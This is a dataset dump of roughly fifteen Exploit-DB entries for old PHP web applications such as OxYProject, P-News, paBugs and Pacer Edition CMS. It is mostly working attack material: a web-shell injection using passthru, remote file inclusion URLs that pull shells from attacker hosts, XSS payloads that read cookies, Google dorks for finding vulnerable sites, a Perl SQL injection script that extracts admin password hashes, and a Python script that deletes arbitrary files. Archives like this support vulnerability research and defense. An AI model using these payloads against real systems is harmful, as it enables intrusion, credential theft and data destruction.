deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5524
Description: OxYProject 0.85 - 'edithistory.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-04-30
Author: GoLd_M

Exploit:
OxYProject 0.85 (edithistory.php) Remote Code Execution Vulnerability
Script : http://puzzle.dl.sourceforge.net/sourceforge/oxyproject/OxYBox085uns.zip
Code Vuln  :
###################Ln 24###################
include('oxycfg.php');

//########################################
//	Editing the Chat History
//########################################

$edit_file = $file['Chat_History'];
$fh = fopen($edit_file, 'a') or die("<meta http-equiv=\"refresh\" content=\"1 ;url=oxybox_submit.php\"><font face=\"arial\">Error occured when submitting your message. <a href=\"javascript: history.go(-1)\">Back</a></font>");
fwrite($fh, "<b><font face=\"arial\" color=" . $_POST["usercolor"] . ">" . $_POST["oxyname"] . " :</font></b> <font color=" . $_POST["msgcolor"] . ">" . $_POST["oxymsg"] . "</font><br>");
fclose($fh);
###################Ln 33###################
In The Page "oxycfg.php"
###################Ln 33###################
$file['Chat_History'] = "oxyhistory.php";
###################Ln 23###################
POC :
Go :-> http://localhost/1/OxYBox085uns/0.85/edithistory.php 
You'll see In this Page
Username [?]                      Your message has been successfully submitted [X]
              Your Message Here
Username Color [?]  black     Enter Message
In The "Username" Write "Gold_M" 
In The "Your Message Here" Write This Code "<?php passthru($_GET[cmd]); ?>"
Afte All this Click  "Enter Message"
Now Go :-> http://localhost/OxYBox085uns/0.85/oxyhistory.php?cmd=dir
# Thanx To TryagOxY

# milw0rm.com [2008-04-30]
Exploit-DB #27859
Description: OZJournals 1.2 - 'Vname' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-12
Author: Kiki

Exploit:
source: https://www.securityfocus.com/bid/17954/info

OZJournals is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

OZJournals 1.2 is reported to be vulnerable. Other versions may be affected as well.

# OZJournals 1.2 <= Cross Site Scripting Vulnerability 
#
# Risk: Less critical
# Class: Remote
# Script: OZJournals 1.2
# Version: 1.2

----------------------------------------------------------------------------------------------
Post Request:

http://www.example.com/ozjournals/ozjournals/index.php?show=comments&action=post
POST /ozjournals/ozjournals/index.php?show=comments&action=post HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/ozjournals/ozjournals/index.php?show=comments&action=add
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
vname=test&vemail=mail%40mail.it&vlocation=test&vcomment=test

ou can insert in the name an XSS code or you can modify the request in this way:

vname=<SCRIPT>alert("lol");</SCRIPT>&vemail=mail%40mail.it&vlocation=test&vcomment=test

----------------------------------------------------------------------------------------------
Credit

Author: Kiki
Site: http://kiki91.altervista.org
IRC Channel: irc.azzurra.org 6667 #system
Exploit-DB #4953
Description: OZJournals 2.1.1 - 'id' File Disclosure
Type: webapps
Platform: php
Date: 2008-01-21
Author: shinmai

Exploit:
# Name: OZJournals 2.1.1
# Webiste: http://www.aqonlinenetworks.com/
# Vulnerability type: Local File Exposure
# Author:
#         shinmai, 2008-01-21
######################################################################################
# Description:
#
# OZJournals uses .php-files as it's storage, and posts are read from them with the
# getcontents-function. This protects from traditional LFI-exploits, but the print
# -functionality, for instance, takes an id as a value, and allows an attacker to get
# the contents of files other than intended. Before printing the php-file is
# explode()d with "\t", but seeing as many scripts have tabs in their configuration
# files, an attacker could, with some luck, fish out database credentials or other
# sensitive data.
#
# This is a VERY low risk vulnerability, but can potentially provide additional
# reconnaissance data for an attacker.
#
# Example;

http://localhost/ozjournals/?show=printpreview&id=../config

#
# Vulnerable code:

$pfile = file_get_contents("$datadirectory/$id.php");

#
# Again as I said, this is a very low risk vulnerability, but I see no reason for
# AQOnline Networks not to fix it, even after having been notified about it numerous
# times.
#
# Good luck and be safe.
# In memoriam Anna-Emilia...
#

# milw0rm.com [2008-01-21]
Exploit-DB #2691
Description: P-Book 1.17 - 'pb_lang' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-31
Author: Matdhule

Exploit:
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_56$2006

------------------------------------------------------------------------------
[ECHO_ADV_56$2006] P-Book <= 1.17 (pb_lang) Remote File Inclusion
------------------------------------------------------------------------------

Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: October, 18th 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv56-matdhule-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application	: P-Book
version		: 1.17
URL		: http://www.PPoPn.net

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability script admin.php

-----------------------admin.php----------------------
....
<?

$time = $reload * 60;
include("$pb_lang/language.php");
...
----------------------------------------------------------

Input passed to the "pb_lang" parameter in admin.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files:
pbook.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[p-book_path]/admin.php?pb_lang=http://attacker.com/inject.txt?
http://target.com/[p-book_path]/pbook.php?pb_lang=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $pb_lang on affected files.

---------------------------------------------------------------------------
Shoutz:
~~~
~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson    :)   
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ Solpotcrew Comunity (#nyubicrew), #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-10-31]
Exploit-DB #2577
Description: P-News 1.16 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-16
Author: vegas78

Exploit:
============================================
P-News 1.16, 1.17 Remote File Inclusion Vulnerability
============================================

Discovered by vegas78 - feel82[at]web.de
============================================
Greetz: scoper, corny, smaesch0r, Sascha Schmalz, 
        ReFleCtion, BleX, |pupi (?),   
============================================

include("$pn_lang/functions.php"); // bad code
include("$pn_lang/language.php"); // bad code
...

fix:
make absolute path declaration or update to the new 2.* version

// Google string
allintitle:"P-news ver. 1.16" / allinurl:p-news.php

================================================================

http://site/p-news.php?pn_lang=[shell]

================================================================

# milw0rm.com [2006-10-16]
Exploit-DB #3054
Description: P-News 1.16/1.17 - 'user.dat' Remote Password Disclosure
Type: webapps
Platform: php
Date: 2006-12-31
Author: 3l3ctric-Cracker

Exploit:
##########################################################################################################
#P-News (user.dat)Remote Password Disclosure Vulnerablity                    #
##########################################################################################################
#S.name:P-News                                                               #
#Affected versions:1.17 and 1.16                                             #
#Vendor:www.ppopn.net                                                        #
#Risk:Very Highly Critical                                                   #
##########################################################################################################
#Author:Dr Max Virus                                                         #
#Location:Egypt                                                              #
##########################################################################################################
#POC:                                                                        #
#http:/[target]/[path]/db/user.dat                                           #
#As We see Admin name and hash          !!!!!!!!!!!!!!!!!!!!!!!!!!           #
##########################################################################################################
#You can crack the password with any md5 encrypt                             #
#Or u can register and inject the info in any cookie editor can be in FireFox or Opera                   #
##########################################################################################################
#Dorks:                                                                      #
#V1.16;                                                                      #
#allintitle:"P-news ver. 1.16"                                               #
#V1.17;                                                                      #
#powered by P-News 1.17                                                      #
##########################################################################################################
#Thx:str0ke-koray-Timq-r0ut3r-mTk-nuffsaid-MrSwan-All Friends                #
#Special Gr33ts:AsianEagle-Kacper-The master-Hotturk                         #
##########################################################################################################

# milw0rm.com [2006-12-31]
Exploit-DB #2862
Description: P-News 2.0 - 'user.txt' Remote Password Disclosure
Type: webapps
Platform: php
Date: 2006-11-28
Author: Lu7k

Exploit:
P-News V² -  (user.txt)  Information Disclosure Vulnerability


**************************************************************
Critical Level : Dangerous
**************************************************************
Script Download: http://download.planerd.net/dir/php
**************************************************************
Bugfounder: Lu7k
**************************************************************
Contact Me : www.school-of-hack.de or lu7k@mail.nu
**************************************************************

-----------------------------------------------------------------------------

Code:http://target/path/db/user.txt

-----------------------------------------------------------------------------

*************************************************************
Greetings: Bdrok - TheJT - MyMaster - str0ke
*************************************************************

# milw0rm.com [2006-11-28]
Exploit-DB #30820
Description: p.mapper 3.2 beta3 - '/incPHP/globals.php?_SESSION[PM_INCPHP]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-27
Author: ShAy6oOoN

Exploit:
source: https://www.securityfocus.com/bid/26614/info

p.mapper is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect p.mapper 3.2.0 beta3; other versions may also be vulnerable.

http://www.example.com/pmapper-3.2-beta3/incphp/globals.php?_SESSION[PM_INCPHP]=http://www.example2.com
Exploit-DB #30821
Description: p.mapper 3.2 beta3 - '/plugins/export/mc_table.php?_SESSION[PM_INCPHP]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-27
Author: ShAy6oOoN

Exploit:
source: https://www.securityfocus.com/bid/26614/info
 
p.mapper is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
These issues affect p.mapper 3.2.0 beta3; other versions may also be vulnerable.
 
http://www.example.com/pmapper-3.2-beta3/plugins/export/mc_table.php?_SESSION[PM_INCPHP]=http://www.example2.com
Exploit-DB #2350
Description: p4CMS 1.05 - 'abs_pfad' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-12
Author: SHiKaA

Exploit:
#==============================================================================================
#p4CMS <= v1.05 (abs_pfad) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://warez.gtasoft.ru/skripts/p4CMS.v1.05.Nullified-WTN.rar      
#                                                                      
#Version : v1.05                                            
#
#================================================================================================
#Bug in : abf_js.php
#
#Vlu Code :
#--------------------------------
#
#                    @require_once($abs_pfad."include/config.inc.php");
#                    @require_once($abs_pfad."include/mysql-class.inc.php");
#                    @require_once($abs_pfad."include/functions.inc.php");
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/abf_js.php?abs_pfad=http://SHELLURL.COM?&cmd=id
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : CCtream - Cyper-worrier team
# Special Thx To : Str0ke & simoo
==================================================================================================

# milw0rm.com [2006-09-12]
Exploit-DB #22845
Description: PABox 1.6 - Password Reset
Type: webapps
Platform: php
Date: 2003-06-30
Author: silentscripter

Exploit:
source: https://www.securityfocus.com/bid/8067/info

paBox is prone to an issue that may allow unauthenticated remote users to reset administrative passwords. This could permit unauthorized access to the administrative Control Panel.

http://www.example.com/thebox/admin.php?act=write&username=admin&[CREDENTIAL_REDACTED]=admin&adpass=admin
Exploit-DB #25220
Description: PABox 2.0 - Post Icon HTML Injection
Type: webapps
Platform: php
Date: 2005-03-14
Author: Rift_XT

Exploit:
source: https://www.securityfocus.com/bid/12796/info

paBox is reportedly affected by a HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

The attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

This issue is reported to affect paBox 2.0; earlier versions may also be vulnerable. 

<INPUT type=radio CHECKED value=""><script>document.write(document.cookie);</script>" name=posticon>click me
Exploit-DB #4253
Description: paBugs 2.0 Beta 3 - 'main.php?cid' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-02
Author: uimp

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV < 4)
{
    usage();
    exit();
}

$host = $ARGV[0]; # Host
$path = $ARGV[1]; # Path to paBugs directory
$pref = $ARGV[2]; # prefix for admin tables
$usid = $ARGV[3]; # user id

$www = new LWP::UserAgent;
$sql = "$host/$path/index.php?cid=1'+union+select+1,2,3,password,5+from+$pref\_admins+where+id=$usid/*";
print "\n\n [~] Searching password for user(admin)=$usid \n";
$res = $www -> get($sql) or err();
$res -> content() =~ /([0-9,a-f]{32})/ or err();
print "\n [+] Admin Password(md5)=$usid is: $1 \n\n";

sub usage()
{
print "~---------------------------------------------------------~\n";
print "|                  Bug Found by: umpi                 |\n";
print "~---------------------------------------------------------~\n";
print "|    paBugs <= v2.0 Beta 3 Sql-Injection exploit          |\n";
print "| Usage: pabugs.pl [site] [folder] [prefix] [user_id] |\n";
print "| Example: pabugs.pl http://localhost /pabugs pa 1              |\n";
print "| Coded by p-range   // cf-team.net   // p-range.info     |\n";
print "~---------------------------------------------------------~\n";
}

sub err()
{
print "\n [-] Site is not vulnerable !";
exit();
}

# milw0rm.com [2007-08-02]
Exploit-DB #17379
Description: Pacer Edition CMS 2.1 - 'l' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-06-10
Author: LiquidWorm

Exploit:
Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability

Vendor: The Pacer Edition
Product web page: http://www.thepaceredition.com
Affected version: RC 2.1 (SVN: 867)

Summary: The 'Pacer Edition' is a Content Management System(CMS)
written using PHP 5.2.9 as a minimum requirement. The Pacer Edition
CMS was based from Website baker core and has been completely
redesigned with a whole new look and feel along with many new
advanced features to allow you to build sites exactly how you want
and make them, 100% yours!

Desc: Pacer Edition CMS suffers from a local file inlcusion
vulnerability when input passed thru the 'l' parameter to
admin/login/forgot/index.php script is not properly verified
before being used to include files. This can be exploited to
include files from local resources with directory traversal
attacks and URL encoded NULL bytes.


/admin/login/forgot/index.php (line: 59-62):
----------------------------------------------------------------

$lang_id = ((isset($_GET['l'])) ? $_GET['l'] : '');
if ($lang_id == '') $lang_id = (LANGUAGE) ? LANGUAGE : (DEFAULT_LANGUAGE) ? DEFAULT_LANGUAGE : 'EN';
if (!file_exists(PE_PATH.'/languages/'.$lang_id.'.php')) $lang_id = 'EN'; 
require (PE_PATH.'/languages/'.$lang_id.'.php');

----------------------------------------------------------------


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com
                            Zero Science Lab


Advisory ID: ZSL-2011-5019
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5019.php



07.06.2011


PoC:

----------------------------------------------------------------

POST /admin/login/forgot/index.php?l=..%2f..%2f..%2f..%2f..%2fboot.ini%00 HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: thricer
Content-Length: 2
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

------x
Content-Disposition: form-data; name="email"

sm
------x--

----------------------------------------------------------------
Exploit-DB #17378
Description: Pacer Edition CMS 2.1 - 'rm' Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2011-06-10
Author: LiquidWorm

Exploit:
#!/usr/bin/python
#
#
# Pacer Edition CMS 2.1 (rm) Remote Arbitrary File Deletion Exploit
#
#
# Vendor: The Pacer Edition
# Product web page: http://www.thepaceredition.com
# Affected version: RC 2.1 (SVN: 867)
#
# Summary: The 'Pacer Edition' is a Content Management System(CMS)
# written using PHP 5.2.9 as a minimum requirement. The Pacer Edition
# CMS was based from Website baker core and has been completely
# redesigned with a whole new look and feel along with many new
# advanced features to allow you to build sites exactly how you want
# and make them, 100% yours!
#
# Desc: Input passed to the 'rm' parameter in modules/code/syntax_check.php
# is not properly sanitised before being used to delete files. This can
# be exploited to delete files with the permissions of the web server via
# directory traversal sequences passed within the 'rm' parameter.
#
#
# /modules/code/syntax_check.php (line: 99-102):
# ----------------------------------------------------------
#
# if (isset($_REQUEST['rm'])) {
#	@unlink($_REQUEST['rm']);
#	die();
# }
#
# ----------------------------------------------------------
#
#
# Tested on: Microsoft Windows XP Professional SP3 (EN)
#            Apache 2.2.14 (Win32)
#            PHP 5.3.1
#            MySQL 5.1.41
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             liquidworm gmail com
#                             Zero Science Lab
#
#
# Advisory ID: ZSL-2011-5017
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5017.php
#
#
#
# 07.06.2011
#


import socket
import sys

print '\n-------------------------------------------------------------------'
print '\n Pacer Edition CMS 2.1 (rm) Remote Arbitrary File Deletion Exploit'
print '\n-------------------------------------------------------------------\n'

if len(sys.argv) < 4:
	print '\nUsage: ' + sys.argv[0] + ' <target> <port> <file>\n'
	print 'Example: ' + sys.argv[0] + ' 192.168.16.101 80 naked.jpg\n'
	sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])
file = sys.argv[3]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(10)
answ = s.recv(1024)

s.send('POST /modules/code/syntax_check.php?rm=..%2f..%2f..%2f..%2f..%2f..%2f' + file + '%00 HTTP/1.1\r\n'
       'Host: ' + host + '\r\n'
       'Connection: keep-alive\r\n'
       'Content-Length: 0\r\n'
       'Cache-Control: max-age=0\r\n'
       'Origin: null\r\n'
       'User-Agent: thricer\r\n'
       'Content-Type: multipart/form-data; boundary=----x\r\n'
       'Accept: text/html\r\n'
       'Accept-Language: en-US,en;q=0.8\r\n'
       'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
       '\r\n\r\n')

htcode = 'HTTP/1.1 200'
     
if htcode not in answ[:len(htcode)]:
	print '- Error deleting file!\n'
	sys.exit(0)
else: print '+ File ' + file + 'deleted!\n'

s.close